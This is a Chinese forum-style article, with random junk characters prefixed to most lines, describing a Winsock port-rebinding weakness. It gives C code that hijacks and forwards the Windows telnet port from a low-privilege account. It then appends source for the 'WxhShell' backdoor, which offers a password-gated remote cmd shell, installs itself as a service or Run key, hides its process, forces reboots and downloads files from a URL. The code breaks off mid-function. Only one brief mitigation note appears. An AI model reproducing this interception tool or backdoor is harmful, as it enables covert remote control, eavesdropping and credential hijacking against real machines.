在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
HalkNR-eEm s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_ zh>q4M z
5T_ saddr.sin_family = AF_INET;
x-Cy,d:YX ~sd+ch* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D8b~-# +Je(]b@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&;D(VdSr9 :Ur=}@Dj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]nEZQ+F ?\eq!bu 这意味着什么?意味着可以进行如下的攻击:
vXio /m 6axDuwQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Ckelr ]B;\?Tim 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`9+>2*k 2L'vB1` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j#`d%eQ~J @L)=epC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
e>:bV7h
j~ 0^27grU> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ot]Y/;K RnA>oKc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
j\ dY x@@U&.1_A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|]<eJ|\= 41d,<E #include
D`t }V #include
2!Mwui;% #include
P[.BK #include
|kUxTe DWORD WINAPI ClientThread(LPVOID lpParam);
b0~AN#Es int main()
_-vf<QO] {
E27N1J+1 WORD wVersionRequested;
;U
+;NsCH DWORD ret;
yWs_Z6 b WSADATA wsaData;
~"Pu6-\VT BOOL val;
e@-"B9~ SOCKADDR_IN saddr;
~BNLzt3%O SOCKADDR_IN scaddr;
w_gPX0N}3n int err;
!_EaF`oh( SOCKET s;
Mbt}G|;8H7 SOCKET sc;
3E!#?N|v int caddsize;
XYKWOrkQqa HANDLE mt;
7*7Z&1*3 DWORD tid;
1-Fz#v7p wVersionRequested = MAKEWORD( 2, 2 );
rt7Ma2tK err = WSAStartup( wVersionRequested, &wsaData );
2 us-s if ( err != 0 ) {
Qo4+=^( printf("error!WSAStartup failed!\n");
q;))3aQe return -1;
z)Y<@2V*C }
&IQp& saddr.sin_family = AF_INET;
pP4i0mO{Dv N@M(Iw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
N}Ol`@@#h JY\8^}'9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h48JpZ" saddr.sin_port = htons(23);
:J3ZTyjb if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x4PH-f-7 {
RaKfYLw printf("error!socket failed!\n");
Q9lw~" return -1;
$II[b-X?S }
/\%K7\ val = TRUE;
O};U3=^0f //SO_REUSEADDR选项就是可以实现端口重绑定的
T;eA<,H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o@ ?3i+%}8 {
Fh XR!x^ printf("error!setsockopt failed!\n");
mulK(mp return -1;
C] <K s }
y\'t{>U/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_)J;PbK~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+F &,,s"& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%!r>]M < #?xhfSgr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$B6"fYiDk {
k,L , ret=GetLastError();
uC3o@qGW< printf("error!bind failed!\n");
[69[Ct return -1;
oKIry
8'^N }
_}X_^taTZS listen(s,2);
5Rv6+d while(1)
s!\uR. {
Y$%/H"1bk caddsize = sizeof(scaddr);
*E<%db C2 //接受连接请求
Ni$WI{e9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
YfC1.8 if(sc!=INVALID_SOCKET)
P@Wi^svj {
UTEUVcJ\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w_po5[]R if(mt==NULL)
rpsq.n {
}]pq&v! printf("Thread Creat Failed!\n");
"_qH+=_R break;
O a_2J#~$ }
>EFjyhVE }
/r#.BXP CloseHandle(mt);
&qki
NS }
Z!TLWX" closesocket(s);
Q 'R@'W9 WSACleanup();
})OgsBk return 0;
K~A$>0c }
"5mdq-h( DWORD WINAPI ClientThread(LPVOID lpParam)
eRC
/Pr {
VGoD2,(b^ SOCKET ss = (SOCKET)lpParam;
)5Ddvz>+ SOCKET sc;
A
KO#$OJE unsigned char buf[4096];
AL/q6PWi SOCKADDR_IN saddr;
\UI7H1XDH long num;
=T)4Oziks DWORD val;
}/ 6Q3B DWORD ret;
]HP
aM //如果是隐藏端口应用的话,可以在此处加一些判断
1FU(j*~: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0>Y3>vwSl saddr.sin_family = AF_INET;
&pS <4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
uBLI!N-G saddr.sin_port = htons(23);
nB ?$W4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B\a-Q,Wf {
4,m
aA printf("error!socket failed!\n");
BN&^$1F(( return -1;
t\nYUL-H }
?Kw~O"L8 val = 100;
B./Lp_QK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'AN3{ {
VLW<"7I 6\ ret = GetLastError();
0c4H2RW return -1;
_tZT }
WL4{_X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c>~"Z-VtX {
WjxOM\?# ret = GetLastError();
"?|sC{'C4j return -1;
$LLkYOwI }
0
;$[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<6`_Xr7) {
?yfk d:WD printf("error!socket connect failed!\n");
&g R+D closesocket(sc);
DVxW2J closesocket(ss);
(tV/.x*G return -1;
q3\
YL? }
<Q'J=;vV while(1)
!(PAUWS@ {
NF <|3| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rvZXK<@#+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
l5ww-#6Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Al="ss&2 num = recv(ss,buf,4096,0);
tz-, |n0 if(num>0)
ec/1Z8}p send(sc,buf,num,0);
=$6z1] ;3 else if(num==0)
P.WEu<$ break;
@K; 4'b~ num = recv(sc,buf,4096,0);
JQQP!]%} if(num>0)
p\66`\\l send(ss,buf,num,0);
Sw<@u+Z;% else if(num==0)
ftB-gItV break;
XTpYf }
F@Qzh closesocket(ss);
RnV
)* closesocket(sc);
VdpwZ return 0 ;
M<oIo036 }
~G.'pyW ohqi4Y!j/~ n>?o=_|uR ==========================================================
E}K6Op;=v5 &U%AVD[ 下边附上一个代码,,WXhSHELL
uc]]zI6 pIBL85Xe ==========================================================
1e.V%!Xk m,KG}KX #include "stdafx.h"
/1ZRjf^ cl
kL)7RQ #include <stdio.h>
Lu,72i0O ^ #include <string.h>
.}Va~[0j #include <windows.h>
9~i=Af@ #include <winsock2.h>
&GF@9BXI3 #include <winsvc.h>
zil^^wT0J #include <urlmon.h>
hw/: oUrNz#U #pragma comment (lib, "Ws2_32.lib")
Vvk1 D( #pragma comment (lib, "urlmon.lib")
F)_zR {2Jo|z #define MAX_USER 100 // 最大客户端连接数
555j@ #define BUF_SOCK 200 // sock buffer
NO5\|.,Z #define KEY_BUFF 255 // 输入 buffer
?5(Cwy ? z+IBy+ #define REBOOT 0 // 重启
t]LOBy-Kv #define SHUTDOWN 1 // 关机
b_2bg>|; gE$D#PZa #define DEF_PORT 5000 // 监听端口
"NR`{1f:O cKt=_4Lf #define REG_LEN 16 // 注册表键长度
7M;7jI/C #define SVC_LEN 80 // NT服务名长度
D4nYyj1O3
qKu/~0a/ // 从dll定义API
JB.f7- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7.Df2_) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.YYfba#{
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,@1rP 55 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ZoJ_I
>uv [?z`XY_- // wxhshell配置信息
E(]39B"i struct WSCFG {
}pqnF53 int ws_port; // 监听端口
6v(?Lr`D char ws_passstr[REG_LEN]; // 口令
1vw[{.wC int ws_autoins; // 安装标记, 1=yes 0=no
L-Io!msb char ws_regname[REG_LEN]; // 注册表键名
C sXV0 char ws_svcname[REG_LEN]; // 服务名
}ZaZPB/_}P char ws_svcdisp[SVC_LEN]; // 服务显示名
/BEE.`6yI5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
-JgN$Sf char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1.29%O8V_ int ws_downexe; // 下载执行标记, 1=yes 0=no
L-.
+yNX) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r6_g/7.- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/>^ sGB GHeucG}? };
<k59Ni9 w)}' {]P"c // default Wxhshell configuration
/G*]3=cSe struct WSCFG wscfg={DEF_PORT,
(lPiv+'n "xuhuanlingzhe",
klpYtQ 1,
j{ QzD^t "Wxhshell",
miWog 8j "Wxhshell",
[_kis "WxhShell Service",
NVyel*QE "Wrsky Windows CmdShell Service",
ux>wa+XFa "Please Input Your Password: ",
->"Z1 1,
O^/z7, "
http://www.wrsky.com/wxhshell.exe",
rjk{9u1a" "Wxhshell.exe"
u*n%cXY;J/ };
;5S'?fj $W} YXLFj? // 消息定义模块
BF)!VnJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
VY9o}J>,w char *msg_ws_prompt="\n\r? for help\n\r#>";
#Y|t,x; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
K"fr4xHq char *msg_ws_ext="\n\rExit.";
+UvT;" char *msg_ws_end="\n\rQuit.";
/:S&1'= char *msg_ws_boot="\n\rReboot...";
$)or{Z$& char *msg_ws_poff="\n\rShutdown...";
nulLK28q char *msg_ws_down="\n\rSave to ";
M/?*?B vca]yK<u char *msg_ws_err="\n\rErr!";
\\U,|}L . char *msg_ws_ok="\n\rOK!";
faTp|T`nY t[=-4; char ExeFile[MAX_PATH];
^&[Z@*A8# int nUser = 0;
2g0_[$[m HANDLE handles[MAX_USER];
xlKg0&D int OsIsNt;
Cpg>5N~;L `2
6t+Tb SERVICE_STATUS serviceStatus;
Uw!N;QsC SERVICE_STATUS_HANDLE hServiceStatusHandle;
rJz`v/:|P kH4xP3. i
// 函数声明
W=-:<3XL int Install(void);
cmcR@zv int Uninstall(void);
n,Gvgf int DownloadFile(char *sURL, SOCKET wsh);
Q}zd!* int Boot(int flag);
U 7_1R0h void HideProc(void);
gPJZpaS int GetOsVer(void);
H;DCkVL int Wxhshell(SOCKET wsl);
Al}D~6MD void TalkWithClient(void *cs);
Sv#S_jh int CmdShell(SOCKET sock);
!_i;6UVG int StartFromService(void);
QZZt9rA; int StartWxhshell(LPSTR lpCmdLine);
V'iT> Y%zYO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
[\BLb8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
B!j7vXM2 .X.,.vHx // 数据结构和表定义
$R&K-;D/8 SERVICE_TABLE_ENTRY DispatchTable[] =
EX"o9' {
k`(Cwp{Oc {wscfg.ws_svcname, NTServiceMain},
V'M#."Of/ {NULL, NULL}
*!5X!\e_ };
*4HogC n.l7V<1 // 自我安装
p uOAt int Install(void)
a[Y\5Ojm {
`zoC++hx char svExeFile[MAX_PATH];
Z%4w{T+[ HKEY key;
Rlwewxmr strcpy(svExeFile,ExeFile);
G2 {R5F ! P9yg // 如果是win9x系统,修改注册表设为自启动
n=iL6Yu( if(!OsIsNt) {
]tsp}M@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,^n5UA`PK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&x.n>O RegCloseKey(key);
1}/37\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nBg
tK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nhImO@Q: RegCloseKey(key);
E{8-VmY return 0;
Sv>bU4LHf }
B;Dl2k^L }
~q,Wj!>Ob }
'_fj:dy else {
h anS8 NK!#K>AO // 如果是NT以上系统,安装为系统服务
/6@$^paB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
n4A#T#D!t3 if (schSCManager!=0)
s`dwE*~ {
+@mgb4_ SC_HANDLE schService = CreateService
*|*6q/ (
\$Q? schSCManager,
qBDhCE wscfg.ws_svcname,
vxZ :l wscfg.ws_svcdisp,
}}X<e SERVICE_ALL_ACCESS,
{8e4TD9E0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:pw6#yi8` SERVICE_AUTO_START,
\R|qXB $ SERVICE_ERROR_NORMAL,
q/eod svExeFile,
spG3"Eodi NULL,
MZWicfUy NULL,
M{)|9F NULL,
Dd'4W NULL,
I7]qTS[vg NULL
2qDyb]9 );
bH`r=@.:cu if (schService!=0)
:=oIvSnh {
L)QAI5o:3 CloseServiceHandle(schService);
IfzW%UL CloseServiceHandle(schSCManager);
=@*P})w5. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[J\! 2\Oo strcat(svExeFile,wscfg.ws_svcname);
g!I0UAm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<tI_u ~P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2q}lSa7r RegCloseKey(key);
QdK
PzjA return 0;
)u>/: }
Lg2z `uv }
Aq,&p,m03 CloseServiceHandle(schSCManager);
I~T~!^}U }
*5z"Xy3J }
K06x7W #McX return 1;
'9tV-whw }
XJ6=Hg4_O N?l // 自我卸载
b~Un=-@5a int Uninstall(void)
qk_YFR?R {
['_W< HKEY key;
CT[CM+
H$!sK if(!OsIsNt) {
/L;
c -^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'q7&MM'oS^ RegDeleteValue(key,wscfg.ws_regname);
hwi$:[ RegCloseKey(key);
xz*MFoE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nq 9{{oe RegDeleteValue(key,wscfg.ws_regname);
!f01.Tq8 RegCloseKey(key);
A&UGr971 return 0;
60X))MyN }
d37|o3oC }
g93Hl& }
K-Fro~U else {
XLj|y#h n0vhc; d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
={B?hjo<- if (schSCManager!=0)
NxrfRhaU3 {
3Q2z+`x' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
OR<%h/ \f if (schService!=0)
.9$
7
+ {
"W@>lf?" if(DeleteService(schService)!=0) {
rtT*2k* CloseServiceHandle(schService);
+?ilTU CloseServiceHandle(schSCManager);
c^8csQ fG return 0;
{O5(O oDa }
c;doxNd6 CloseServiceHandle(schService);
R=<uf:ca }
G~{#%i CloseServiceHandle(schSCManager);
SGUZ'} }
'"]QAj?N }
B
j z@X 8^5@J)R8 return 1;
m:]60koz]o }
dw3H9(-lp `s~[q // 从指定url下载文件
u$
a7 int DownloadFile(char *sURL, SOCKET wsh)
';KZ.D {
!Nx'4N`&l HRESULT hr;
I`S?2i2H char seps[]= "/";
N'=b8J-fF char *token;
pe>[Ts`2F char *file;
XG8UdR| char myURL[MAX_PATH];
)|`w;F> char myFILE[MAX_PATH];
n1)~/
> 0xzS9 strcpy(myURL,sURL);
qU+qY2S: token=strtok(myURL,seps);
vxl!`$Pi while(token!=NULL)
C~c|};&% {
O =\`q6l file=token;
A9kn\U92 token=strtok(NULL,seps);
{"hyr/SK d }
PGJkQsp0 QP<vjj% GetCurrentDirectory(MAX_PATH,myFILE);
"4WwiI9 strcat(myFILE, "\\");
qV:TuR-|w strcat(myFILE, file);
#iAw/a0& send(wsh,myFILE,strlen(myFILE),0);
2}kJN8\F send(wsh,"...",3,0);
.M>g`UW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)5Ofr-Y if(hr==S_OK)
ldRisL return 0;
6a4-VX5 else
@0fiui_ return 1;
Fg^Z g\X3 +W^$my)< }
"q3W&@ 3GM9ZPeN: // 系统电源模块
Km!~zG7< int Boot(int flag)
NzG] nsw {
*s6(1S HANDLE hToken;
rk< 3QXv TOKEN_PRIVILEGES tkp;
Ag_I' (T1d!v"~" if(OsIsNt) {
57`9{.HB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]udH`{] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
N5Ih+8zT tkp.PrivilegeCount = 1;
(laVmU?I7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3AcCa> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
' qN"!\ if(flag==REBOOT) {
v<V9Z
<ub if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Hi#f
Qji return 0;
LseS8F/q }
o`~%}3 else {
O"m(C[+[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LNI]IITx/ return 0;
lJdwbuB6 }
xF7q9'/F }
1wt(pkNk else {
>f-*D25f% if(flag==REBOOT) {
7|^5E*8/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A)641"[ return 0;
6i'kc3w }
J:G~9~V^ else {
'-vzQ d@y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<XH,kI(% return 0;
u8Oo@xf0Fr }
9t_N9@ }
t[HA86X 2PG= T/ return 1;
]_y0wLq }
xOBzT& TY]-L1$ // win9x进程隐藏模块
),&tF_z: void HideProc(void)
0/,Dy2h {
4NRG{FZ9 )=6o, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#({ 9M if ( hKernel != NULL )
Gu5%P ou {
Z{rD4S@^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,Ep41v;T%` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LRKl3"M FreeLibrary(hKernel);
v)-:0f }
y4`uU1=
g:
,*Y^T return;
u>h|A(< }
7f#r&~= } DQ KfS // 获取操作系统版本
P=
nu&$; int GetOsVer(void)
^^{7`X
u {
v 8NoD_ OSVERSIONINFO winfo;
CK#SD|~: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lt{yo\ GetVersionEx(&winfo);
W
B7gY\Y&M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@V71%D8{ return 1;
=`fz#Mfd else
Bxs0m] return 0;
6}^6+@LG }
a@niig uM74X^U // 客户端句柄模块
z3(:a' int Wxhshell(SOCKET wsl)
,R5z`O {
'o% .Qx SOCKET wsh;
b,o@m struct sockaddr_in client;
0)nY- f0 DWORD myID;
xI,7ld~ #S*cFnd while(nUser<MAX_USER)
KdU&q+C^ {
@zAav> int nSize=sizeof(client);
6qq{JbK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
: ?J0e4.] if(wsh==INVALID_SOCKET) return 1;
,e!9WKJ
B {aVL3QU handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k!=
jO#)Rd if(handles[nUser]==0)
5#hsy;q;[ closesocket(wsh);
iqTGh*k else
2kV{|`1 nUser++;
,n\'dMNii }
y -=YX qj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0="U'|J_ cH{[\F"Eb return 0;
wxIWh>pZa }
+RN|ZG& ddG5g // 关闭 socket
6Cz%i6) void CloseIt(SOCKET wsh)
3,$G?auW {
04P!l closesocket(wsh);
BIeeu@p nUser--;
(5R_q.Wu ExitThread(0);
z2DjYTm[~ }
~$:=hT1 :iVEm9pB) // 客户端请求句柄
R4q)FXW29 void TalkWithClient(void *cs)
rIo)'L$uU {
ED=P
6u -9@/S$i SOCKET wsh=(SOCKET)cs;
Mr
u char pwd[SVC_LEN];
ra>jVE0` char cmd[KEY_BUFF];
?TEdGe\* char chr[1];
3 V{&o,6 int i,j;
=VPJ
m\*V SC/V3fW, while (nUser < MAX_USER) {
6gN>P%n #oQDt' if(wscfg.ws_passstr) {
XWNDpL`j5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
} D0Y8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#5/.n.X" //ZeroMemory(pwd,KEY_BUFF);
ac< hz0 i=0;
fqQ(EVpQ while(i<SVC_LEN) {
&<\i37y iqh"sx{5bp // 设置超时
z*BGaSX % fd_set FdRead;
pG0Ca]( struct timeval TimeOut;
!3T,{:gyrI FD_ZERO(&FdRead);
,~^BoH} FD_SET(wsh,&FdRead);
{c\KiWN TimeOut.tv_sec=8;
mb_~
"}A TimeOut.tv_usec=0;
ds|L'7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
cs6I
K6wo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Hb|y`O k zv[pfD7a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+4--Dl? pwd
=chr[0];
MTUJsH\
if(chr[0]==0xd || chr[0]==0xa) { /By`FW Y
pwd=0; dp'xd>m
break; R7j'XU
} NP< {WL#
i++; l7M![Ur
} 4!^flKZQ
QH.zsqf(
// 如果是非法用户,关闭 socket T3#KuiwU9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "{Jq6):mp
} ZXL
pR*)\@ma
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tyk\l>S
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]<B@g($
* M,'F^E2
while(1) { 2,.;Mdl
e~iPN.'1
ZeroMemory(cmd,KEY_BUFF); #V:28[
QXg9ah~
// 自动支持客户端 telnet标准 s!Y`1h{
j=0; )/_T`cN
while(j<KEY_BUFF) { XEvDtDR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U9:w ^t[Pp
cmd[j]=chr[0]; vh"> Z4
if(chr[0]==0xa || chr[0]==0xd) { :L'U>)k
cmd[j]=0; Y,;$RV@g
break; #k*P/I~
} byB
ESyV!O
j++; ZuIw4u(9
} R;2q=%
/ig'p53jL
// 下载文件 1j":j %9M
if(strstr(cmd,"http://")) { uiEAi
send(wsh,msg_ws_down,strlen(msg_ws_down),0); oGa8#>
if(DownloadFile(cmd,wsh)) w +~,Mv \
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x8q3 Njr
else ;S_\-
]m&g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rW<sQ0
} $b=4_UroS
else { s`E^1jC
u^NZsuak
switch(cmd[0]) { e+ckn
pg:1AAhT[
// 帮助 ="=Aac#n`
case '?': { vx&r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @&
vtY._
break; 2^.qKY@g@
} ZN]LJ4|xu
// 安装 Am&PH(}L
case 'i': { ?.%'[n>P
if(Install()) 4EtP|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f+o%N
else Pk6l*+"r<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B[Gl}(E
break; knU=#
} ;[}<xw3):
// 卸载 .o?"=Epo
case 'r': { \gE6KE<?p
if(Uninstall()) u(92y]3,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :6}y gL*i
else AtU!8Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L@t}UC
break; n fU\l<
} B}y`E
<
// 显示 wxhshell 所在路径 !J@!P?0. C
case 'p': { /18VQ
char svExeFile[MAX_PATH]; >lg-j-pV
strcpy(svExeFile,"\n\r"); O?I~XM'S
strcat(svExeFile,ExeFile); ">V.nao
send(wsh,svExeFile,strlen(svExeFile),0); TtZ
'~cGR
break; bw\a\/Dw
} eJv_`#R&Of
// 重启 )n&@`>vm
case 'b': { Spt]<~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =5QP'Qt{O
if(Boot(REBOOT)) 6JYVC>i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dLq)Z*r
else { l0%qj(4`6&
closesocket(wsh); N-g=_86C"
ExitThread(0); [LHx9(,NM
} A^9RGz4=
break; hQT
p&
}
hb_J.Q
// 关机 RO?%0-6O&
case 'd': { %Gk?f=e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |z`kFil%
if(Boot(SHUTDOWN)) 1dg y-$H~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6zfi\(fop
else { )`sEdVxbr
closesocket(wsh); L9Gxqw
ExitThread(0); OE=]/([
} D$wl.r
break; $&!i3#FF
} :XP/ `%:
// 获取shell M-Tjp'=*
case 's': { kkz{;OW
CmdShell(wsh); [-$ :XOO
closesocket(wsh); v[O }~E7'
ExitThread(0); {d%% nK~
break; H(~:Ajj+zQ
} ?^<
E#2a
// 退出 c[I4'x
case 'x': { FYs-vW {
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \UF/_'=K
CloseIt(wsh); }eO{+{D+
break; Z"T#"FDIr
} rv\yS:2
// 离开 P!apAr
case 'q': { wePhH*nQ>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); g2&%bNQ-5
closesocket(wsh); (pl|RmmDz
WSACleanup(); ^"?fZSC
exit(1); =y$|2(6
break; :'pLuN
} 5ZX P$.
} D[NJ{E.{
} 1@}`dc
a->;K+
// 提示信息 @We im7r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0^L>J"o
} 007(k"=oV
} 5a PPq~%
_=wu>h&7
return; ~'[0-_]=f
} [f?fA[,[
S{q c1qj
// shell模块句柄 1j9R^
int CmdShell(SOCKET sock) -
DO
{ i Sm
.E
STARTUPINFO si; ID#p5`3n
ZeroMemory(&si,sizeof(si)); m!qbQMXn
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IsC`r7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z;dFS
PROCESS_INFORMATION ProcessInfo; 3Dd"qON!
char cmdline[]="cmd"; ZJ$nHS?ra
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R8*z}xy{
return 0; ?OYK'p.
} <:,m
^{IF2_h"
// 自身启动模式 /.{q2]
int StartFromService(void) Z/r =4
{ .]0u#fz0y
typedef struct nkp,
{ iE~][_%U
DWORD ExitStatus; jc4#k+sb
DWORD PebBaseAddress;
MYD`P2F
DWORD AffinityMask; v*.[O/,EBR
DWORD BasePriority; JjXuy7XQ
ULONG UniqueProcessId; 3u)NkS=
